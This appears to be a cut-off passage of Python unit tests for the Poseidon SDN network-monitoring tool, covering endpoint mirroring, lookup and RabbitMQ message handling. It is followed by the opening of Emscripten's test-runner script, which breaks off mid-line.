get_sdn_connect(logger) endpoint = endpoint_factory('foo') endpoint.endpoint_data = { 'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1'} s.endpoints[endpoint.name] = endpoint s.mirror_endpoint(endpoint) def test_unmirror_endpoint(): s = get_sdn_connect(logger) endpoint = endpoint_factory('foo') endpoint.endpoint_data = { 'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1'} endpoint.operate() s.endpoints[endpoint.name] = endpoint s.unmirror_endpoint(endpoint) def test_clear_filters(): s = get_sdn_connect(logger) endpoint = endpoint_factory('foo') endpoint.endpoint_data = { 'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1'} s.endpoints[endpoint.name] = endpoint s.clear_filters() s = get_sdn_connect(logger) endpoint = endpoint_factory('foo') endpoint.endpoint_data = { 'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1'} s.endpoints[endpoint.name] = endpoint s.clear_filters() def test_check_endpoints(): s = get_sdn_connect(logger) s.sdnc = None s.check_endpoints([]) def test_endpoint_by_name(): s = get_sdn_connect(logger) endpoint = s.endpoint_by_name('foo') assert endpoint == None endpoint = endpoint_factory('foo') endpoint.endpoint_data = { 'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1'} s.endpoints[endpoint.name] = endpoint endpoint2 = s.endpoint_by_name('foo') assert endpoint == endpoint2 def test_endpoint_by_hash(): s = get_sdn_connect(logger) endpoint = s.endpoint_by_hash('foo') assert endpoint == None endpoint = endpoint_factory('foo') endpoint.endpoint_data = { 'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1'} s.endpoints[endpoint.name] = endpoint endpoint2 = s.endpoint_by_hash('foo') assert endpoint == endpoint2 def test_endpoints_by_ip(): s = get_sdn_connect(logger) endpoints = s.endpoints_by_ip('10.0.0.1') assert endpoints == [] endpoint = endpoint_factory('foo') endpoint.endpoint_data = { 'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1', 'ipv4': '10.0.0.1', 'ipv6': 'None'} s.endpoints[endpoint.name] = endpoint endpoint2 = s.endpoints_by_ip('10.0.0.1') assert [endpoint] == endpoint2 def test_endpoints_by_mac(): s = get_sdn_connect(logger) endpoints = s.endpoints_by_mac('00:00:00:00:00:01') assert endpoints == [] endpoint = endpoint_factory('foo') endpoint.endpoint_data = { 'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1'} s.endpoints[endpoint.name] = endpoint endpoint2 = s.endpoints_by_mac('00:00:00:00:00:00') assert [endpoint] == endpoint2 def test_get_q_item(): class MockMQueue: def get_nowait(self): return 'Item' def task_done(self): return sdne = SDNEvents(logger, prom, get_sdn_connect(logger)) m_queue = MockMQueue() assert (True, 'Item') == sdne.get_q_item(m_queue) def test_format_rabbit_message(): sdne = SDNEvents(logger, prom, get_sdn_connect(logger)) faucet_event = [] remove_list = [] data = {'id': '', 'type': 'metadata', 'file_path': '/files/foo.pcap', 'data': {'10.0.2.15': {'full_os': 'Windows NT kernel', 'short_os': 'Windows', 'link': 'Ethernet or modem', 'raw_mtu': '1500', 'mac': '08:00:27:cc:3f:1b'}, 'results': {'tool': 'p0f', 'version': '0.11.17'}}} message = ('poseidon.algos.decider', data) retval, msg_valid = sdne.format_rabbit_message( message, faucet_event, remove_list) assert not retval assert msg_valid data = {'id': '', 'type': 'metadata', 'file_path': '/files/foo', 'data': {'6b33db53faf33c77d694ecab2e3fefadc7dacc70': {'valid': True, 'pcap_labels': None, 'decisions': {'investigate': False}, 'classification': {'labels': ['Administrator workstation', 'Developer workstation', 'Active Directory controller'], 'confidences': [ 0.9955250173194201, 0.004474982679786006, 7.939512151303659e-13]}, 'timestamp': 1608179739.839953, 'source_ip': '208.50.77.134', 'source_mac': '00:1a:8c:15:f9:80'}, 'pcap': 'trace_foo.pcap'}, 'results': {'tool': 'networkml', 'version': '0.6.7.dev4'}} message = ('poseidon.algos.decider', data) retval, msg_valid = sdne.format_rabbit_message( message, faucet_event, remove_list) assert not retval assert msg_valid data = dict({'Key1': 'Val1'}) message = ('FAUCET.Event', data) retval, msg_valid = sdne.format_rabbit_message( message, faucet_event, remove_list) assert retval == {'Key1': 'Val1'} assert msg_valid assert faucet_event == [{'Key1': 'Val1'}] message = (None, data) retval, msg_valid = sdne.format_rabbit_message( message, faucet_event, remove_list) assert retval == {} assert not msg_valid data = dict({'foo': 'bar'}) message = ('poseidon.action.ignore', data) retval, msg_valid = sdne.format_rabbit_message( message, faucet_event, remove_list) assert retval == {} assert msg_valid message = ('poseidon.action.clear.ignored', data) retval, msg_valid = sdne.format_rabbit_message( message, faucet_event, remove_list) assert retval == {} assert msg_valid message = ('poseidon.action.remove', data) retval, msg_valid = sdne.format_rabbit_message( message, faucet_event, remove_list) assert retval == {} assert msg_valid message = ('poseidon.action.remove.ignored', data) retval, msg_valid = sdne.format_rabbit_message( message, faucet_event, remove_list) assert retval == {} assert msg_valid ip_data = dict({'10.0.0.1': ['rule1']}) message = ('poseidon.action.update_acls', ip_data) retval, msg_valid = sdne.format_rabbit_message( message, faucet_event, remove_list) assert retval == {} assert msg_valid data = [('foo', 'unknown')] message = ('poseidon.action.change', data) retval, msg_valid = sdne.format_rabbit_message( message, faucet_event, remove_list) assert retval == {} assert msg_valid def test_rabbit_callback(): def mock_method(): return True mock_method.routing_key = 'test_routing_key' mock_method.delivery_tag = 'test_delivery_tag' # force mock_method coverage assert mock_method() class MockChannel: def basic_ack(self, delivery_tag): return True class MockQueue: item = None def qsize(self): return 1 def put(self, item): self.item = item return True # used for testing to verify that we put right stuff there def get_item(self): return self.item mock_channel = MockChannel() mock_queue = MockQueue() sdne = SDNEvents(logger, prom, get_sdn_connect(logger)) rabbit_callback = sdne.rabbit_callback rabbit_callback( mock_channel, mock_method, 'properties', '{"body": 0}', mock_queue) assert mock_queue.get_item() == (mock_method.routing_key, {'body': 0}) rabbit_callback( mock_channel, mock_method, 'properties', '{"body": 0}', mock_queue) def test_find_new_machines(): s = get_sdn_connect(logger) machines = [{'active': 0, 'source': 'poseidon', 'role': 'unknown', 'state': 'unknown', 'ipv4_os': 'unknown', 'tenant': 'vlan1', 'port': 1, 'segment': 'switch1', 'ipv4': '123.123.123.123', 'mac': '00:00:00:00:00:00', 'id': 'foo1', 'ipv6': '0'}, {'active': 1, 'source': 'poseidon', 'role': 'unknown', 'state': 'unknown', 'ipv4_os': 'unknown', 'tenant': 'vlan1', 'port': 1, 'segment': 'switch1', 'ipv4': '123.123.123.123', 'mac': '00:00:00:00:00:00', 'id': 'foo2', 'ipv6': '0'}, {'active': 0, 'source': 'poseidon', 'role': 'unknown', 'state': 'unknown', 'ipv4_os': 'unknown', 'tenant': 'vlan1', 'port': 1, 'segment': 'switch1', 'ipv4': '123.123.123.123', 'mac': '00:00:00:00:00:00', 'id': 'foo3', 'ipv6': '0'}, {'active': 1, 'source': 'poseidon1', 'role': 'unknown', 'state': 'unknown', 'ipv4_os': 'unknown', 'tenant': 'vlan1', 'port': 2, 'segment': 'switch1', 'ipv4': '2106::1', 'mac': '00:00:00:00:00:00', 'id': 'foo4', 'ipv6': '0'}, {'active': 1, 'source': 'poseidon', 'role': 'unknown', 'state': 'unknown', 'ipv4_os': 'unknown', 'tenant': 'vlan1', 'port': 1, 'segment': 'switch1', 'ipv4': '::', 'mac': '00:00:00:00:00:00', 'id': 'foo5', 'ipv6': '0'}, {'active': 1, 'source': 'poseidon', 'role': 'unknown', 'state': 'unknown', 'ipv4_os': 'unknown', 'tenant': 'vlan1', 'port': 1, 'segment': 'switch1', 'ipv4': '::', 'mac': '00:00:00:00:00:00', 'id': 'foo6'}, {'active': 1, 'source': 'poseidon', 'role': 'unknown', 'state': 'unknown', 'ipv4_os': 'unknown', 'tenant': 'vlan1', 'port': 1, 'segment': 'switch1', 'ipv6': '::', 'mac': '00:00:00:00:00:00', 'id': 'foo7'}] s.find_new_machines(machines) def test_Monitor_init(): config = get_test_config() sdnc = SDNConnect( config, logger, prom, faucetconfgetsetter_cl=FaucetLocalConfGetSetter) sdne = SDNEvents(logger, prom, sdnc) monitor = Monitor(logger, config, schedule, sdne.job_queue, sdnc, prom) hosts = [{'active': 0, 'source': 'poseidon', 'role': 'unknown', 'state': 'unknown', 'ipv4_os': 'unknown', 'tenant': 'vlan1', 'port': 1, 'segment': 'switch1', 'ipv4': '123.123.123.123', 'mac': '00:00:00:00:00:00', 'id': 'foo1', 'ipv6': '0'}, {'active': 1, 'source': 'poseidon', 'role': 'unknown', 'state': 'unknown', 'ipv4_os': 'unknown', 'tenant': 'vlan1', 'port': 1, 'segment': 'switch1', 'ipv4': '123.123.123.123', 'mac': '00:00:00:00:00:00', 'id': 'foo2', 'ipv6': '0'}, {'active': 0, 'source': 'poseidon', 'role': 'unknown', 'state': 'unknown', 'ipv4_os': 'unknown', 'tenant': 'vlan1', 'port': 1, 'segment': 'switch1', 'ipv4': '123.123.123.123', 'mac': '00:00:00:00:00:00', 'id': 'foo3', 'ipv6': '0'}, {'active': 1, 'source': 'poseidon1', 'role': 'unknown', 'state': 'unknown', 'ipv4_os': 'unknown', 'tenant': 'vlan1', 'port': 2, 'segment': 'switch1', 'ipv4': '2106::1', 'mac': '00:00:00:00:00:00', 'id': 'foo4', 'ipv6': '0'}, {'active': 1, 'source': 'poseidon', 'role': 'unknown', 'state': 'unknown', 'ipv4_os': 'unknown', 'tenant': 'vlan1', 'port': 1, 'segment': 'switch1', 'ipv4': '::', 'mac': '00:00:00:00:00:00', 'id': 'foo5', 'ipv6': '0'}] monitor.prom.update_metrics(hosts) sdne.update_prom_var_time('last_rabbitmq_routing_key_time', 'routing_key', 'foo') def test_SDNConnect_init(): get_sdn_connect(logger) def unregister_metrics(): for collector, _ in tuple(REGISTRY._collector_to_names.items()): REGISTRY.unregister(collector) def test_process(): from threading import Thread class MockMonitor(Monitor): def __init__(self): self.sdnc = get_sdn_connect(logger) self.logger = self.sdnc.logger self.config = self.sdnc.config self.sdnc.config['TYPE'] = 'None' self.sdnc.get_sdn_context() self.sdnc.config['TYPE'] = 'faucet' self.sdnc.get_sdn_context() self.job_queue = queue.Queue() self.prom = prom endpoint = endpoint_factory('foo') endpoint.endpoint_data = { 'active': 0, 'ipv4_subnet': '12.12.12.12/24', 'ipv6_subnet': '', 'ipv4_rdns': '', 'ipv6_rdns': '', 'controller_type': 'faucet', 'controller': '', 'name': '', 'ipv4': '12.12.12.12', 'ipv6': '', 'ether_vendor': 'foo', 'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1'} endpoint.metadata = {'mac_addresses': {'00:00:00:00:00:00': {'classification': {'labels': ['developer workstation', 'foo', 'bar'], 'confidences': [0.8, 0.2, 0.0]}}}, 'ipv4_addresses': { '12.12.12.12': {'os': 'windows'}}, 'ipv6_addresses': {'1212::1': {'os': 'windows'}}} endpoint.operate() self.sdnc.endpoints[endpoint.name] = endpoint endpoint = endpoint_factory('foo2') endpoint.endpoint_data = { 'active': 0, 'ipv4_subnet': '12.12.12.12/24', 'ipv6_subnet': '', 'ipv4_rdns': '', 'ipv6_rdns': '', 'controller_type': 'faucet', 'controller': '', 'name': '', 'ipv4': '12.12.12.12', 'ipv6': '', 'ether_vendor': 'foo', 'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1'} endpoint.metadata = {'mac_addresses': {'00:00:00:00:00:00': {'classification': {'labels': ['developer workstation', 'foo', 'bar'], 'confidences': [0.8, 0.2, 0.0]}}}, 'ipv4_addresses': { '12.12.12.12': {'os': 'windows'}}, 'ipv6_addresses': {'1212::1': {'os': 'windows'}}} endpoint.queue_next('operate') self.sdnc.endpoints[endpoint.name] = endpoint endpoint = endpoint_factory('foo3') endpoint.endpoint_data = { 'active': 0, 'ipv4_subnet': '12.12.12.12/24', 'ipv6_subnet': '', 'ipv4_rdns': '', 'ipv6_rdns': '', 'controller_type': 'faucet', 'controller': '', 'name': '', 'ipv4': '12.12.12.12', 'ipv6': '', 'ether_vendor': 'foo', 'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1'} endpoint.metadata = {'mac_addresses': {'00:00:00:00:00:00': {'classification': {'labels': ['developer workstation', 'foo', 'bar'], 'confidences': [0.8, 0.2, 0.0]}}}, 'ipv4_addresses': { '12.12.12.12': {'os': 'windows'}}, 'ipv6_addresses': {'1212::1': {'os': 'windows'}}} self.sdnc.endpoints[endpoint.name] = endpoint self.results = 0 def get_q_item(self, q, timeout=1): if not self.results: self.results += 1 return (True, ('foo', {'data': {}})) return (False, None) def format_rabbit_message(self, item, faucet_event, remove_list): return ({'data': {}}, False) mock_monitor = MockMonitor() assert mock_monitor.sdnc.investigation_budget() assert mock_monitor.sdnc.coprocessing_budget() handlers = [ mock_monitor.job_update_metrics, mock_monitor.job_reinvestigation_timeout, mock_monitor.job_recoprocess, mock_monitor.schedule_mirroring, mock_monitor.schedule_coprocessing] for handler in handlers: handler() def thread1(): time.sleep(5) mock_monitor.running = False t1 = Thread(target=thread1) t1.start() # mock_monitor.process() t1.join() mock_monitor.sdnc.sdnc = None for handler in handlers: handler() def test_show_endpoints(): endpoint = endpoint_factory('foo') endpoint.endpoint_data = { 'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1', 'ipv4': '0.0.0.0', 'ipv6': '1212::1'} endpoint.metadata = {'mac_addresses': {'00:00:00:00:00:00': {'classification': {'labels': ['developer workstation']}}}, 'ipv4_addresses': { '0.0.0.0': {'os': 'windows'}}, 'ipv6_addresses': {'1212::1': {'os': 'windows'}}} s = get_sdn_connect(logger) s.endpoints[endpoint.name] = endpoint s.show_endpoints('all') s.show_endpoints('state active') s.show_endpoints('state ignored') s.show_endpoints('state unknown') s.show_endpoints('os windows') s.show_endpoints('role developer-workstation') def test_merge_machine(): s = get_sdn_connect(logger) old_machine = {'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1', 'ipv4': '0.0.0.0', 'ipv6': '1212::1'} new_machine = {'tenant': 'foo', 'mac': '00:00:00:00:00:00', 'segment': 'foo', 'port': '1', 'ipv4': '', 'ipv6': ''} s.merge_machine_ip(old_machine, new_machine) assert old_machine['ipv4'] == new_machine['ipv4'] assert new_machine['ipv6'] == new_machine['ipv6']
runner.py
#!/usr/bin/env python2 # Copyright 2010 The Emscripten Authors. All rights reserved. # Emscripten is available under two separate licenses, the MIT license and the # University of Illinois/NCSA Open Source License. Both these licenses can be # found in the LICENSE file. """This is the Emscripten test runner. To run some tests, specify which tests you want, for example python tests/runner.py asm1.test_hello_world There are many options for which tests to run and how to run them. For details, see http://kripken.github.io/emscripten-site/docs/getting_started/test-suite.html """ # XXX Use EMTEST_ALL_ENGINES=1 in the env to test all engines! from __future__ import print_function from subprocess import PIPE, STDOUT import argparse import atexit import contextlib import difflib import fnmatch import glob import hashlib import json import logging import math import multiprocessing import operator import os import random import re import shlex import shutil import string import subprocess import sys import tempfile import time import unittest import urllib import webbrowser if sys.version_info.major == 2: from BaseHTTPServer import HTTPServer from SimpleHTTPServer import SimpleHTTPRequestHandler from urllib import unquote else: from http.server import HTTPServer, SimpleHTTPRequestHandler from urllib.parse import unquote # Setup __rootpath__ = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) sys.path.append(__rootpath__) import parallel_runner from tools.shared import EM_CONFIG, TEMP_DIR, EMCC, DEBUG, PYTHON, LLVM_TARGET, ASM_JS_TARGET, EMSCRIPTEN_TEMP_DIR, WASM_TARGET, SPIDERMONKEY_ENGINE, WINDOWS, V8_ENGINE, NODE_JS, EM_BUILD_VERBOSE from tools.shared import asstr, get_canonical_temp_dir, Building, run_process, try_delete, to_cc, asbytes, safe_copy, Settings from tools import jsrun, shared, line_endings def path_from_root(*pathelems): return os.path.join(__rootpath__, *pathelems) sys.path.append(path_from_root('third_party/websockify')) logger = logging.getLogger(__file__) # User can specify an environment variable EMTEST_BROWSER to force the browser # test suite to run using another browser command line than the default system # browser. Setting '0' as the browser disables running a browser (but we still # see tests compile) EMTEST_BROWSER = os.getenv('EMTEST_BROWSER') EMTEST_DETECT_TEMPFILE_LEAKS = int(os.getenv('EMTEST_DETECT_TEMPFILE_LEAKS', '0')) EMTEST_WASM_PTHREADS = int(os.getenv('EMTEST_WASM_PTHREADS', '1')) # Also suppot the old name: EM_SAVE_DIR EMTEST_SAVE_DIR = os.getenv('EMTEST_SAVE_DIR', os.getenv('EM_SAVE_DIR')) # generally js engines are equivalent, testing 1 is enough. set this # to force testing on all js engines, good to find js engine bugs EMTEST_ALL_ENGINES = os.getenv('EMTEST_ALL_ENGINES') EMTEST_SKIP_SLOW = os.getenv('EMTEST_SKIP_SLOW') EMTEST_VERBOSE = int(os.getenv('EMTEST_VERBOSE', '0')) # checks if browser testing is enabled def has_browser(): return EMTEST_BROWSER != '0' # Generic decorator that calls a function named 'condition' on the test class and # skips the test if that function returns true def skip_if(func, condition, explanation='', negate=False): explanation_str = ' : %s' % explanation if explanation else '' def decorated(self): choice = self.__getattribute__(condition)() if negate: choice = not choice if choice: self.skipTest(condition + explanation_str) func(self) return decorated def needs_dlfcn(func): def decorated(self): self.check_dlfcn() return func(self) return decorated def is_slow_test(func): def decorated(self, *args, **kwargs): if EMTEST_SKIP_SLOW: return self.skipTest('skipping slow tests') return func(self, *args, **kwargs) return decorated def no_wasm_backend(note=''): def decorated(f): return skip_if(f, 'is_wasm_backend', note) return decorated def no_fastcomp(note=''): def decorated(f): return skip_if(f, 'is_wasm_backend', note, negate=True) return decorated def no_windows(note=''): if WINDOWS: return unittest.skip(note) return lambda f: f # used for tests that fail now and then on CI, due to timing or other # random causes. this tries the test a few times, looking for at least # one pass def flaky(f): max_tries = 3 def decorated(self): for i in range(max_tries - 1): try: f(self) return except Exception: print('flaky...') continue # run the last time normally, to get a simpler stack trace f(self) return decorated @contextlib.contextmanager def env_modify(updates): """A context manager that updates os.environ.""" # This could also be done with mock.patch.dict() but taking a dependency # on the mock library is probably not worth the benefit. old_env = os.environ.copy() print("env_modify: " + str(updates)) # Seting a value to None means clear the environment variable clears = [key for key, value in updates.items() if value is None] updates = {key: value for key, value in updates.items() if value is not None} os.environ.update(updates) for key in clears: if key in os.environ: del os.environ[key] try: yield finally: os.environ.clear() os.environ.update(old_env) # Decorator version of env_modify def with_env_modify(updates): def decorated(f): def modified(self): with env_modify(updates): return f(self) return modified return decorated @contextlib.contextmanager def chdir(dir): """A context manager that performs actions in the given directory.""" orig_cwd = os.getcwd() os.chdir(dir) try: yield finally: os.chdir(orig_cwd) def limit_size(string, MAX=800 * 20): if len(string) < MAX: return string return string[0:MAX // 2] + '\n[..]\n' + string[-MAX // 2:] def create_test_file(name, contents, binary=False): assert not os.path.isabs(name) mode = 'wb' if binary else 'w' with open(name, mode) as f: f.write(contents) # The core test modes core_test_modes = [ 'asm0', 'asm1', 'asm2', 'asm3', 'asm2g', 'asm2f', 'wasm0', 'wasm1', 'wasm2', 'wasm3', 'wasms', 'wasmz', 'asmi', 'asm2i', ] # The default core test mode, used when none is specified default_core_test_mode = 'wasm0' # The non-core test modes non_core_test_modes = [ 'other', 'browser', 'sanity', 'sockets', 'interactive', ] test_index = 0 class RunnerCore(unittest.TestCase): emcc_args = [] # default temporary directory settings. set_temp_dir may be called later to # override these temp_dir = TEMP_DIR canonical_temp_dir = get_canonical_temp_dir(TEMP_DIR) save_dir = EMTEST_SAVE_DIR save_JS = 0 # This avoids cluttering the test runner output, which is stderr too, with compiler warnings etc. # Change this to None to get stderr reporting, for debugging purposes stderr_redirect = STDOUT env = {} settings_mods = {} temp_files_before_run = [] def is_emterpreter(self): return self.get_setting('EMTERPRETIFY') def is_wasm(self): return self.is_wasm_backend() or self.get_setting('WASM') != 0 def is_wasm_backend(self): return self.get_setting('WASM_BACKEND') def check_dlfcn(self): if self.get_setting('ALLOW_MEMORY_GROWTH') == 1 and not self.is_wasm(): self.skipTest('no dlfcn with memory growth (without wasm)') if self.is_wasm_backend(): self.skipTest('no shared modules in wasm backend') def uses_memory_init_file(self): if self.get_setting('SIDE_MODULE') or self.get_setting('WASM'): return False elif '--memory-init-file' in self.emcc_args: return int(self.emcc_args[self.emcc_args.index('--memory-init-file') + 1]) else: # side modules handle memory differently; binaryen puts the memory in the wasm module opt_supports = any(opt in self.emcc_args for opt in ('-O2', '-O3', '-Oz')) return opt_supports def set_temp_dir(self, temp_dir): self.temp_dir = temp_dir self.canonical_temp_dir = get_canonical_temp_dir(self.temp_dir) # Explicitly set dedicated temporary directory for parallel tests os.environ['EMCC_TEMP_DIR'] = self.temp_dir @classmethod def setUpClass(cls): super(RunnerCore, cls).setUpClass() print('(checking sanity from test runner)') # do this after we set env stuff shared.check_sanity(force=True) def setUp(self): super(RunnerCore, self).setUp() self.settings_mods = {} if EMTEST_DETECT_TEMPFILE_LEAKS: for root, dirnames, filenames in os.walk(self.temp_dir): for dirname in dirnames: self.temp_files_before_run.append(os.path.normpath(os.path.join(root, dirname))) for filename in filenames: self.temp_files_before_run.append(os.path.normpath(os.path.join(root, filename))) self.banned_js_engines = [] self.use_all_engines = EMTEST_ALL_ENGINES if self.save_dir: self.working_dir = os.path.join(self.temp_dir, 'emscripten_test') if not os.path.exists(self.working_dir): os.makedirs(self.working_dir) else: self.working_dir = tempfile.mkdtemp(prefix='emscripten_test_' + self.__class__.__name__ + '_', dir=self.temp_dir) os.chdir(self.working_dir) # Use emscripten root for node module lookup os.environ['NODE_PATH'] = path_from_root('node_modules') if not self.save_dir: self.has_prev_ll = False for temp_file in os.listdir(TEMP_DIR): if temp_file.endswith('.ll'): self.has_prev_ll = True def tearDown(self): if not self.save_dir: # rmtree() fails on Windows if the current working directory is inside the tree. os.chdir(os.path.dirname(self.get_dir())) try_delete(self.get_dir()) if EMTEST_DETECT_TEMPFILE_LEAKS and not os.environ.get('EMCC_DEBUG'): temp_files_after_run = [] for root, dirnames, filenames in os.walk(self.temp_dir): for dirname in dirnames: temp_files_after_run.append(os.path.normpath(os.path.join(root, dirname))) for filename in filenames: temp_files_after_run.append(os.path.normpath(os.path.join(root, filename))) # Our leak detection will pick up *any* new temp files in the temp dir. They may not be due to # us, but e.g. the browser when running browser tests. Until we figure out a proper solution, # ignore some temp file names that we see on our CI infrastructure. ignorable_files = [ '/tmp/tmpaddon', '/tmp/circleci-no-output-timeout' ] left_over_files = list(set(temp_files_after_run) - set(self.temp_files_before_run) - set(ignorable_files)) if len(left_over_files): print('ERROR: After running test, there are ' + str(len(left_over_files)) + ' new temporary files/directories left behind:', file=sys.stderr) for f in left_over_files: print('leaked file: ' + f, file=sys.stderr) self.fail('Test leaked ' + str(len(left_over_files)) + ' temporary files!') # Make sure we don't leave stuff around # if not self.has_prev_ll: # for temp_file in os.listdir(TEMP_DIR): # assert not temp_file.endswith('.ll'), temp_file # # TODO assert not temp_file.startswith('emscripten_'), temp_file def get_setting(self, key): if key in self.settings_mods: return self.settings_mods[key] return Settings[key] def set_setting(self, key, value=1): if value is None: self.clear_setting(key) self.settings_mods[key] = value def clear_setting(self, key): self.settings_mods.pop(key, None) def serialize_settings(self): ret = [] for key, value in self.settings_mods.items(): if value == 1: ret += ['-s', key] else: ret += ['-s', '{}={}'.format(key, json.dumps(value))] return ret def get_dir(self): return self.working_dir def in_dir(self, *pathelems): return os.path.join(self.get_dir(), *pathelems) def get_stdout_path(self): return os.path.join(self.get_dir(), 'stdout') def hardcode_arguments(self, filename, args): # Hardcode in the arguments, so js is portable without manual commandlinearguments if not args: return js = open(filename).read() create_test_file(filename, js.replace('run();', 'run(%s + Module["arguments"]);' % str(args))) def prep_ll_run(self, filename, ll_file, force_recompile=False, build_ll_hook=None): # force_recompile = force_recompile or os.path.getsize(filename + '.o.ll') > 50000 # If the file is big, recompile just to get ll_opts # Recompiling just for dfe in ll_opts is too costly def fix_target(ll_filename): if LLVM_TARGET == ASM_JS_TARGET: return with open(ll_filename) as f: contents = f.read() if LLVM_TARGET in contents: return asmjs_layout = "e-p:32:32-i64:64-v128:32:128-n32-S128" wasm_layout = "e-m:e-p:32:32-i64:64-n32:64-S128" assert(ASM_JS_TARGET in contents) assert(asmjs_layout in contents) contents = contents.replace(asmjs_layout, wasm_layout) contents = contents.replace(ASM_JS_TARGET, WASM_TARGET) with open(ll_filename, 'w') as f: f.write(contents) if force_recompile or build_ll_hook: if ll_file.endswith(('.bc', '.o')): if ll_file != filename + '.o': shutil.copy(ll_file, filename + '.o') Building.llvm_dis(filename) else: shutil.copy(ll_file, filename + '.o.ll') fix_target(filename + '.o.ll') if build_ll_hook: need_post = build_ll_hook(filename) Building.llvm_as(filename) shutil.move(filename + '.o.ll', filename + '.o.ll.pre') # for comparisons later Building.llvm_dis(filename) if build_ll_hook and need_post: build_ll_hook(filename) Building.llvm_as(filename) shutil.move(filename + '.o.ll', filename + '.o.ll.post') # for comparisons later Building.llvm_dis(filename) Building.llvm_as(filename) else: if ll_file.endswith('.ll'): safe_copy(ll_file, filename + '.o.ll') fix_target(filename + '.o.ll') Building.llvm_as(filename) else: safe_copy(ll_file, filename + '.o') def get_emcc_args(self): # TODO(sbc): We should probably unify Building.COMPILER_TEST_OPTS and self.emcc_args return self.serialize_settings() + self.emcc_args + Building.COMPILER_TEST_OPTS # Generate JS from ll def ll_to_js(self, filename): Building.emcc(filename + '.o', self.get_emcc_args(), filename + '.o.js') # Build JavaScript code from source code def build(self, src, dirname, filename, main_file=None, additional_files=[], libraries=[], includes=[], build_ll_hook=None, post_build=None, js_outfile=True): # Copy over necessary files for compiling the source if main_file is None: with open(filename, 'w') as f: f.write(src) final_additional_files = [] for f in additional_files: final_additional_files.append(os.path.join(dirname, os.path.basename(f))) shutil.copyfile(f, final_additional_files[-1]) additional_files = final_additional_files else: # copy whole directory, and use a specific main .cpp file # (rmtree() fails on Windows if the current working directory is inside the tree.) if os.getcwd().startswith(os.path.abspath(dirname)): os.chdir(os.path.join(dirname, '..')) shutil.rmtree(dirname) shutil.copytree(src, dirname) shutil.move(os.path.join(dirname, main_file), filename) # the additional files were copied; alter additional_files to point to their full paths now additional_files = [os.path.join(dirname, f) for f in additional_files] os.chdir(self.get_dir()) suffix = '.o.js' if js_outfile else '.o.wasm' if build_ll_hook: # "slow", old path: build to bc, then build to JS # C++ => LLVM binary for f in [filename] + additional_files: try: # Make sure we notice if compilation steps failed os.remove(f + '.o') except: pass args = [PYTHON, EMCC] + self.get_emcc_args() + \ ['-I', dirname, '-I', os.path.join(dirname, 'include')] + \ ['-I' + include for include in includes] + \ ['-c', f, '-o', f + '.o'] run_process(args, stderr=self.stderr_redirect if not DEBUG else None) self.assertExists(f + '.o') # Link all files object_file = filename + '.o' if len(additional_files) + len(libraries): shutil.move(object_file, object_file + '.alone') inputs = [object_file + '.alone'] + [f + '.o' for f in additional_files] + libraries Building.link_to_object(inputs, object_file) if not os.path.exists(object_file): print("Failed to link LLVM binaries:\n\n", object_file) self.fail("Linkage error") # Finalize self.prep_ll_run(filename, object_file, build_ll_hook=build_ll_hook) # BC => JS self.ll_to_js(filename) else: # "fast", new path: just call emcc and go straight to JS all_files = [filename] + additional_files + libraries for i in range(len(all_files)): if '.' not in all_files[i]: shutil.move(all_files[i], all_files[i] + '.bc') all_files[i] += '.bc' args = [PYTHON, EMCC] + self.get_emcc_args() + \ ['-I', dirname, '-I', os.path.join(dirname, 'include')] + \ ['-I' + include for include in includes] + \ all_files + ['-o', filename + suffix] run_process(args, stderr=self.stderr_redirect if not DEBUG else None) self.assertExists(filename + suffix) if post_build: post_build(filename + suffix) if js_outfile and self.uses_memory_init_file(): src = open(filename + suffix).read() # side memory init file, or an empty one in the js assert ('/* memory initializer */' not in src) or ('/* memory initializer */ allocate([]' in src) def validate_asmjs(self, err): m = re.search(r"asm.js type error: '(\w+)' is not a (standard|supported) SIMD type", err) if m: # Bug numbers for missing SIMD types: bugs = { 'Int8x16': 1136226, 'Int16x8': 1136226, 'Uint8x16': 1244117, 'Uint16x8': 1244117, 'Uint32x4': 1240796, 'Float64x2': 1124205, } simd = m.group(1) if simd in bugs: print(("\nWARNING: ignoring asm.js type error from {} due to implementation not yet available in SpiderMonkey." + " See https://bugzilla.mozilla.org/show_bug.cgi?id={}\n").format(simd, bugs[simd]), file=sys.stderr) err = err.replace(m.group(0), '') # check for asm.js validation if 'uccessfully compiled asm.js code' in err and 'asm.js link error' not in err: print("[was asm.js'ified]", file=sys.stderr) # check for an asm.js validation error, if we expect one elif 'asm.js' in err and not self.is_wasm() and self.get_setting('ASM_JS') == 1: self.fail("did NOT asm.js'ify: " + err) err = '\n'.join([line for line in err.split('\n') if 'uccessfully compiled asm.js code' not in line]) return err def get_func(self, src, name): start = src.index('function ' + name + '(') t = start n = 0 while True: if src[t] == '{': n += 1 elif src[t] == '}': n -= 1 if n == 0: return src[start:t + 1] t += 1 assert t < len(src) def count_funcs(self, javascript_file): num_funcs = 0 start_tok = "// EMSCRIPTEN_START_FUNCS" end_tok = "// EMSCRIPTEN_END_FUNCS" start_off = 0 end_off = 0 with open(javascript_file, 'rt') as f: blob = "".join(f.readlines()) start_off = blob.find(start_tok) + len(start_tok) end_off = blob.find(end_tok) asm_chunk = blob[start_off:end_off] num_funcs = asm_chunk.count('function ') return num_funcs def count_wasm_contents(self, wasm_binary, what): out = run_process([os.path.join(Building.get_binaryen_bin(), 'wasm-opt'), wasm_binary, '--metrics'], stdout=PIPE).stdout # output is something like # [?] : 125 for line in out.splitlines(): if '[' + what + ']' in line: ret = line.split(':')[1].strip() return int(ret) self.fail('Failed to find [%s] in wasm-opt output' 